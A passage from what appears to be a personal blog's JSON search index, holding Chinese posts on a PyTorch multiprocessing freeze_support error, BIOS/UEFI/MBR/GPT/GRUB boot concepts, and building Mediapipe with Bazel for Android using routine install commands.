class=\"hljs-keyword\"\u003ethe\u003c/span\u003e main module:\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e __name__ == \u003cspan class=\"hljs-string\"\u003e\u0026#x27;__main__\u0026#x27;\u003c/span\u003e:\u003cbr\u003e freeze_support()\u003cbr\u003e ...\u003cbr\u003e The \u003cspan class=\"hljs-string\"\u003e\u0026quot;freeze_support()\u0026quot;\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003eline\u003c/span\u003e can be omitted \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ethe\u003c/span\u003e program\u003cbr\u003e is \u003cspan class=\"hljs-keyword\"\u003enot\u003c/span\u003e going \u003cspan class=\"hljs-built_in\"\u003eto\u003c/span\u003e be frozen \u003cspan class=\"hljs-built_in\"\u003eto\u003c/span\u003e produce \u003cspan class=\"hljs-keyword\"\u003ean\u003c/span\u003e executable.\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个是因为Windows和Linux下mutilprocessing实现不同的问题,可以参考下面几个帖子:\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://github.com/pyinstaller/pyinstaller/wiki/Recipe-Multiprocessing\"\u003eRecipe-Multiprocessing\u003c/a\u003e \u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_42316691/article/details/120993311?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167012141816800186577851%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D\u0026request_id=167012141816800186577851\u0026biz_id=0\u0026utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-22-120993311-null-null.142%5Ev67%5Econtrol,201%5Ev3%5Econtrol_1,213%5Ev2%5Et3_esquery_v3\u0026utm_term=windows%20freeze_support\u0026spm=1018.2226.3001.4187\"\u003eThe “freeze_support()“ line can be omitted if the program\u003c/a\u003e \u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_47269200/article/details/115443949?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167012141816800186577851%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D\u0026request_id=167012141816800186577851\u0026biz_id=0\u0026utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-21-115443949-null-null.142%5Ev67%5Econtrol,201%5Ev3%5Econtrol_1,213%5Ev2%5Et3_esquery_v3\u0026utm_term=windows%20freeze_support\u0026spm=1018.2226.3001.4187\"\u003epython运行子进程时报错:The “freeze_support()“ line can be omitted if the program is not going to be froze\u003c/a\u003e \u003c/p\u003e\u003cp\u003e\u003ca href=\"https://chtalhaanwar.medium.com/pytorch-num-workers-a-tip-for-speedy-training-ed127d825db7\"\u003ePyTorch num_workers, a tip for speedy training\u003c/a\u003e \u003c/p\u003e\u003cp\u003e最后,我的解决方案就是,\u003cstrong\u003e根据报错修改OFA库源码内涉及设置num_works的,改为0\u003c/strong\u003e,就没有报错了(但是存在负面影响,具体可以看上面的链接)。\u003c/p\u003e","url":"https://xiue233.github.io/2022/12/04/ofa_bugs/"},{"title":"PC小芝士","time":"2022-10-25T10:33:30Z","content":"\u003cblockquote\u003e\n\u003cp\u003e记录下对于PC boot的学习\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"一、BIOS-摘记\"\u003e\u003ca href=\"#一、BIOS-摘记\" class=\"headerlink\" title=\"一、BIOS(摘记)\"\u003e\u003c/a\u003e\u003cstrong\u003e\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e记录下对于PC boot的学习\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"一、BIOS-摘记\"\u003e\u003ca href=\"#一、BIOS-摘记\" class=\"headerlink\" title=\"一、BIOS(摘记)\"\u003e\u003c/a\u003e\u003cstrong\u003e一、BIOS(摘记)\u003c/strong\u003e\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e摘自:\u003ca href=\"https://zhuanlan.zhihu.com/p/89058949\"\u003eBios到底是什么?——知乎\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"1-BIOS概念\"\u003e\u003ca href=\"#1-BIOS概念\" class=\"headerlink\" title=\"(1) BIOS概念\"\u003e\u003c/a\u003e(1) BIOS概念\u003c/h3\u003e\u003cp\u003eBlOS(Basic Input Output System)从字义上称为“基本输出输入系统”,专门负责系统硬件各种参数设定,本质上是“程序”,也就是一组“代码”。\u003c/p\u003e\u003cp\u003eBIOS程序是用汇编语言编写,通电后,BIOS首先连接到南桥(ESB),然后是北桥(MCH),最后连接CPU。\u003c/p\u003e\u003ch3 id=\"2-BIOS芯片概念\"\u003e\u003ca href=\"#2-BIOS芯片概念\" class=\"headerlink\" title=\"(2) BIOS芯片概念\"\u003e\u003c/a\u003e(2) BIOS芯片概念\u003c/h3\u003e\u003cp\u003eBIOS芯片,特指存储BIOS程序的一块ROM芯片。\u003c/p\u003e\u003cp\u003eROM芯片本质是一个储存器,是主板上快闪EEPROM内存模块板中的长方形或正方形芯片,可以存储BIOS程序,也可以存储其它程序、代码。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eEEPROM (Electrically Erasable Programmable read only memory)是指带电可擦可编程只读存储器。是一种掉电后数据不丢失的存储芯片。 EEPROM 可以在电脑上或专用设备上擦除已有信息,重新编程。一般用在即插即用。\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"3-BIOS的作用\"\u003e\u003ca href=\"#3-BIOS的作用\" class=\"headerlink\" title=\"(3) BIOS的作用\"\u003e\u003c/a\u003e(3) BIOS的作用\u003c/h3\u003e\u003cp\u003e作为计算机开机之后,运行的第一个程序。\u003c/p\u003e\u003cp\u003e带领CPU识别主板上的重要硬件和集成元件,如硬盘、显卡、声卡以及各种接口,然后按照预设顺序读取存储器上操作系统的引导文件,通过设置的启动模式找到引导分区装载操作系统。\u003c/p\u003e\u003cp\u003e顺利引导操作系统之后,BIOS功成身退、隐于后台。\u003c/p\u003e\u003ch3 id=\"4-BIOS的加载顺序\"\u003e\u003ca href=\"#4-BIOS的加载顺序\" class=\"headerlink\" title=\"(4) BIOS的加载顺序\"\u003e\u003c/a\u003e(4) BIOS的加载顺序\u003c/h3\u003e\u003cp\u003eBIOS程序是用汇编语言编写,通电后,BIOS首先连接到南桥(ESB),然后是北桥(MCH),最后连接CPU。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://tech.sina.com.cn/h/2008-02-26/0600586034.shtml\"\u003e英特尔主流服务器芯片组技术对比分析\u003c/a\u003e\u003cbr\u003e英特尔的北桥芯片被称为Chipset Memory Controller Hub (MCH),主板的北桥芯片组决定主板可以支持的CPU种类、前端总线频率、内存规格和容量等等,并且北桥芯片是处理器和高速设备的联系纽带,包括内存、高速PCI Express等设备的总线就是构架于北桥之上。\u003cbr\u003e主板南桥芯片组决定着支持的扩展插槽和扩展接口的种类和数量,并且负责完成相对低速的系统设备的连接,如USB2.0接口、SATA接口、PCI-E x4、PCI-x、低速的PCI等等,同时,南桥芯片集成电源管理功能,也可以集成音频芯片如AC’97,节省系统成本。\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"5-BIOS芯片内储存的程序段\"\u003e\u003ca href=\"#5-BIOS芯片内储存的程序段\" class=\"headerlink\" title=\"(5) BIOS芯片内储存的程序段\"\u003e\u003c/a\u003e(5) BIOS芯片内储存的程序段\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e自诊断程序\u003c/strong\u003e\u003cbr\u003e通过读取CMOSRAM中的内容,识别硬件配置,并对其进行自检和初始化。 \u003c/li\u003e\u003cli\u003e\u003cstrong\u003eCMOS设置程序\u003c/strong\u003e\u003cbr\u003e引导过程中,用特殊热键启动,进行设置后,存入CMOS RAM中。 \u003c/li\u003e\u003cli\u003e\u003cstrong\u003e系统自检装载程序\u003c/strong\u003e\u003cbr\u003e在自检成功后,将磁盘0磁道0扇区上的引导程序装入内存,运行加载操作系统。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e主要l\u0026#x2F;0设备驱动程序和中断服务\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"二、UEFI\"\u003e\u003ca href=\"#二、UEFI\" class=\"headerlink\" title=\"二、UEFI\"\u003e\u003c/a\u003e\u003cstrong\u003e二、UEFI\u003c/strong\u003e\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://baike.baidu.com/item/%E7%BB%9F%E4%B8%80%E5%8F%AF%E6%89%A9%E5%B1%95%E5%9B%BA%E4%BB%B6%E6%8E%A5%E5%8F%A3/22786233?fromtitle=UEFI\u0026fromid=3556240\u0026fr=aladdin\"\u003e统一可扩展固件接口(英语:Unified Extensible Firmware Interface,缩写UEFI)是一种个人电脑系统规格,用来定义操作系统与系统固件之间的软件界面,作为BIOS的替代方案。可扩展固件接口负责加电自检(POST)、联系操作系统以及提供连接操作系统与硬件的接口\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"1-概念与特点\"\u003e\u003ca href=\"#1-概念与特点\" class=\"headerlink\" title=\"(1) 概念与特点\"\u003e\u003c/a\u003e(1) 概念与特点\u003c/h3\u003e\u003cp\u003eUEFI可以认为是BIOS的升级版,不仅有UI界面,并且容错和纠错特性也更强。\u003c/p\u003e\u003cp\u003e相比于传统的BIOS,UEFI加入了对新硬件的支持,其中就有支持2TB以上硬盘。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eTips:\u003c/strong\u003e UEFI应该使用FAT32分区格式。\u003c/p\u003e\u003ch3 id=\"2-兼容性\"\u003e\u003ca href=\"#2-兼容性\" class=\"headerlink\" title=\"(2) 兼容性\"\u003e\u003c/a\u003e(2) 兼容性\u003c/h3\u003e\u003cp\u003e可以把UEFI设置成Legacy模式(传统模式)让其支持传统MBR启动,效果同BIOS+MBR。\u003c/p\u003e\u003ch2 id=\"三、MBR与GPT\"\u003e\u003ca href=\"#三、MBR与GPT\" class=\"headerlink\" title=\"三、MBR与GPT\"\u003e\u003c/a\u003e\u003cstrong\u003e三、MBR与GPT\u003c/strong\u003e\u003c/h2\u003e\u003ch3 id=\"1-MBR\"\u003e\u003ca href=\"#1-MBR\" class=\"headerlink\" title=\"(1) MBR\"\u003e\u003c/a\u003e(1) MBR\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e主引导记录(MBR,Master Boot Record)是采用MBR分区表的硬盘的第一个扇区,即C\u0026#x2F;H\u0026#x2F;S地址的0柱面0磁头1扇区,也叫做MBR扇区。\u003cbr\u003e在深入讨论主引导扇区内部结构的时候,有时也将其开头的446字节内容特指为“主引导记录”(MBR),其后是4个16字节的“磁盘分区表”(DPT),以及2字节的结束标志(55AA)。因此,在使用“主引导记录”(MBR)这个术语的时候,需要根据具体情况判断其到底是指整个主引导扇区,还是主引导扇区的前446字节。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eMBR(Master Boot Record)是传统的分区表类型,当电脑启动时,会先启动BIOS,BIOS再从硬盘上读取MBR主引导记录,硬盘上的MBR读取后,就会启动操作系统,但最大的缺点则是不支持容量大于2T的硬盘。\u003c/p\u003e\u003ch3 id=\"2-GPT\"\u003e\u003ca href=\"#2-GPT\" class=\"headerlink\" title=\"(2) GPT\"\u003e\u003c/a\u003e(2) GPT\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e全局唯一标识分区表(GUID Partition Table,缩写:GPT)是指全局唯一标示磁盘分区表格式。它是可扩展固件接口(EFI)标准(被Intel用于替代个人计算机的BIOS)的一部分,被用于替代BIOS系统中的以32bits来存储逻辑块地址和大小信息的主引导记录(MBR)分区表。\u003cbr\u003e对于那些扇区为512字节的磁盘,MBR分区表不支持容量大于2.2TB(2.2 ×1012字节)的分区,然而,一些硬盘制造商(诸如希捷和西部数据)注意到这个局限性,并且将他们的容量较大的磁盘升级到4KB的扇区,这意味着MBR的有效容量上限提升到16 TiB。\u003cbr\u003e这个看似“正确的”解决方案,在临时地降低人们对改进磁盘分配表的需求的同时,也给市场带来关于在有较大的块(block)的设备上从BIOS启动时,如何最佳的划分磁盘分区的困惑。GPT分配64bits给逻辑块地址,因而使得最大分区大小在264-1个扇区成为可能。对于每个扇区大小为512字节的磁盘,那意味着可以有9.4ZB(9.4×1012字节)或8 ZiB 个512字节(9,444,732,965,739,290,426,880字节或 18,446,744,073,709,551,615(264-1)个扇区×512(29)字节每扇区)。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eGPT是另一种更先进的磁盘系统分区方式,它的出现弥补了MBR这个缺点,最大支持18EB的硬盘,是基于UEFI使用的磁盘分区架构。\u003c/p\u003e\u003ch2 id=\"四、GRUB\"\u003e\u003ca href=\"#四、GRUB\" class=\"headerlink\" title=\"四、GRUB\"\u003e\u003c/a\u003e\u003cstrong\u003e四、GRUB\u003c/strong\u003e\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003eGNU GRUB(GRand Unified Bootloader简称“GRUB”)是一个来自GNU项目的多操作系统启动程序。GRUB是多启动规范的实现,它允许用户可以在计算机内同时拥有多个操作系统,并在计算机启动时选择希望运行的操作系统。GRUB可用于选择操作系统分区上的不同内核,也可用于向这些内核传递启动参数。 \u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eGRUB(GRand unified bootloader),多操作系统启动程序。它允许用户可以在计算机内同时拥有多个操作系统,并在计算机启动时选择希望运行的操作系统。 \u003c/p\u003e\u003cp\u003eGRUB可用于选择操作系统分区上的不同内核,也可用于向这些内核传递启动参数。它是一个多重操作系统启动管理器,用来引导不同系统,如Windows、Linux。Linux常见的引导程序包括LILO、GRUB、GRUB2。如下图所示为GRUB加载引导流程。 \u003c/p\u003e\u003cp\u003eCentos 7 默认使用GRUB2引导系统启动,GRUB2 是基于 GRUB 开发成更加安全强大的多系统引导程序,最新Linux发行版都是使用GRUB2作为引导程序。同时GRUB2采用了模块化设计,使得GRUB2核心更加精炼,使用更加灵活,同时也就不需要像GRUB分为 stage 1、stage 1.5、stage 2三个阶段。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e摘自\u003ca href=\"https://blog.csdn.net/xhtchina/article/details/113789538\"\u003eBIOS, UEFI, MBR, GPT, GRUB介绍\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e","url":"https://xiue233.github.io/2022/10/25/os_knowledge/"},{"title":"记一次编译Mediapipe","time":"2022-10-01T14:24:51Z","content":"\u003cblockquote\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/google/mediapipe\"\u003eMediapipe\u003c/a\u003e作为一个可以跨平台的流视频处理库,也兼容了安卓的使用(毕竟亲爹是Google)。\u003cbr\u003e为了在安卓里使用Mediapipe需要使用\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://github.com/google/mediapipe\"\u003eMediapipe\u003c/a\u003e作为一个可以跨平台的流视频处理库,也兼容了安卓的使用(毕竟亲爹是Google)。\u003cbr\u003e为了在安卓里使用Mediapipe需要使用bazel将mediapipe的编译为aar,来使用。\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"环境要求\"\u003e\u003ca href=\"#环境要求\" class=\"headerlink\" title=\"环境要求\"\u003e\u003c/a\u003e\u003cstrong\u003e环境要求\u003c/strong\u003e\u003c/h2\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003eLinux系统\u003c/strong\u003e(部分配置需要sh完成,为了便利,不推荐使用windows编译)\u003c/li\u003e\u003cli\u003e\u003cstrong\u003ebazel编译器\u003c/strong\u003e(用于编译)\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eadb\u003c/strong\u003e(需不需要无所谓,是便于之后bazel打包apk后,直接install)\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eOpenCV\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eJDK\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003epython\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"配置环境\"\u003e\u003ca href=\"#配置环境\" class=\"headerlink\" title=\"配置环境\"\u003e\u003c/a\u003e\u003cstrong\u003e配置环境\u003c/strong\u003e\u003c/h2\u003e\u003ch3 id=\"1-配置依赖环境\"\u003e\u003ca href=\"#1-配置依赖环境\" class=\"headerlink\" title=\"(1)配置依赖环境\"\u003e\u003c/a\u003e(1)配置依赖环境\u003c/h3\u003e\u003cp\u003e配置依赖环境\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esudo apt-get update \u0026amp;\u0026amp; sudo apt-get install -y build-essential git python zip adb openjdk-8-jdk\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e注意:指定python可能报错,可以自行更改为python3\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e安装JDK(方便之后编译java文件):\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esudo apt install openjdk-11-jdk\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e安装C++编译器:\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esudo apt install g++ unzip zip\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e安装adb:\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esudo apt-get install android-tools-adb\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e安装OpenCV:\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esudo apt-get install libopencv-core-dev libopencv-highgui-dev \\\u003cbr\u003elibopencv-calib3d-dev libopencv-features2d-dev \\\u003cbr\u003elibopencv-imgproc-dev libopencv-video-dev\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"2-安装Bazel\"\u003e\u003ca href=\"#2-安装Bazel\" class=\"headerlink\" title=\"(2)安装Bazel\"\u003e\u003c/a\u003e(2)安装Bazel\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://github.com/bazelbuild/bazel\"\u003eBazel\u003c/a\u003e是一款强大的编译工具。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e对于Bazel的安装一般有两种方法:\u003cbr\u003e\u003cstrong\u003e注意:建议下载版本为5.2.0的bazel,在mediapipe的build里指定required version为5.2.0了。\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e使用curl下载安装脚本文件\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003ecurl -sLO --retry 5 --retry-max-time 10 \\\u003cbr\u003ehttps://storage.googleapis.com/bazel/5.2.0/release/bazel-5.2.0-installer-linux-x86_64.sh \u0026amp;\u0026amp; \\\u003cbr\u003esudo mkdir -p /usr/local/bazel/5.2.0 \u0026amp;\u0026amp; \\\u003cbr\u003echmod 755 bazel-5.2.0-installer-linux-x86_64.sh \u0026amp;\u0026amp; \\\u003cbr\u003esudo ./bazel-5.2.0-installer-linux-x86_64.sh --prefix=/usr/local/bazel/5.2.0 \u0026amp;\u0026amp; \\\u003cbr\u003esource /usr/local/bazel/5.2.0/lib/bazel/bin/bazel-complete.bash\u003cbr\u003e\u003cbr\u003e/usr/local/bazel/5.2.0/lib/bazel/bin/bazel version \u0026amp;\u0026amp; \\\u003cbr\u003ealias bazel=\u0026#x27;/usr/local/bazel/5.2.0/lib/bazel/bin/bazel\u0026#x27;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"2\"\u003e\u003cli\u003e直接下载安装脚本文件并执行\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e(1)下载\u003ca href=\"https://github.com/bazelbuild/bazel/releases/download/5.2.0/bazel-5.2.0-installer-linux-x86_64.sh\"\u003ebazel-5.2.0-installer-linux-x86_64.sh\u003c/a\u003e\u003cbr\u003e(2)设置sh权限\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esudo chmod +x bazel-5.2.0-installer-linux-x86_64.sh\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(3)执行sh文件\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003e./bazel-version-installer-linux-x86_64.sh --user\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意: \u003cstrong\u003e不建议使用sudo执行,否则会安装到\u0026#x2F;root\u0026#x2F;bin下,影响之后的运行\u003c/strong\u003e\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e\u003cstrong\u003eapt命令下载\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003esudo apt install apt-transport-https curl gnupg\u003cbr\u003ecurl -fsSL https://bazel.build/bazel-release.pub.gpg | gpg --dearmor \u0026gt;bazel-archive-keyring.gpg\u003cbr\u003esudo mv bazel-archive-keyring.gpg /usr/share/keyrings\u003cbr\u003eecho \u0026quot;deb [arch=amd64 signed-by=/usr/share/keyrings/bazel-archive-keyring.gpg] https://storage.googleapis.com/bazel-apt stable jdk1.8\u0026quot; | sudo tee /etc/apt/sources.list.d/bazel.list\u003cbr\u003esudo apt update \u0026amp;\u0026amp; sudo apt install bazel\u003cbr\u003esudo apt update \u0026amp;\u0026amp; sudo apt full-upgrade\u003cbr\u003esudo apt install bazel-5.2.0\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"编译前准备\"\u003e\u003ca href=\"#编译前准备\" class=\"headerlink\" title=\"编译前准备\"\u003e\u003c/a\u003e\u003cstrong\u003e编译前准备\u003c/strong\u003e\u003c/h2\u003e\u003cp\u003e(1)配置bazel到PATH环境变量\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003eexport PATH=\u0026quot;$PATH:bazel的安装路径/bin\u0026quot;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(2)克隆mediapipe源码并进入该目录\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003egit clone https://github.com/google/mediapipe.git\u003cbr\u003ecd mediapipe\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(3)测试编译环境\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003eexport GLOG_logtostderr=1\u003cbr\u003e\u003cbr\u003ebazel run --define MEDIAPIPE_DISABLE_GPU=1 \\\u003cbr\u003emediapipe/examples/desktop/hello_world:hello_world\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意: \u003cstrong\u003e编译时间可能稍长\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e如果配置成功,则会有类似如下的打印:\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan 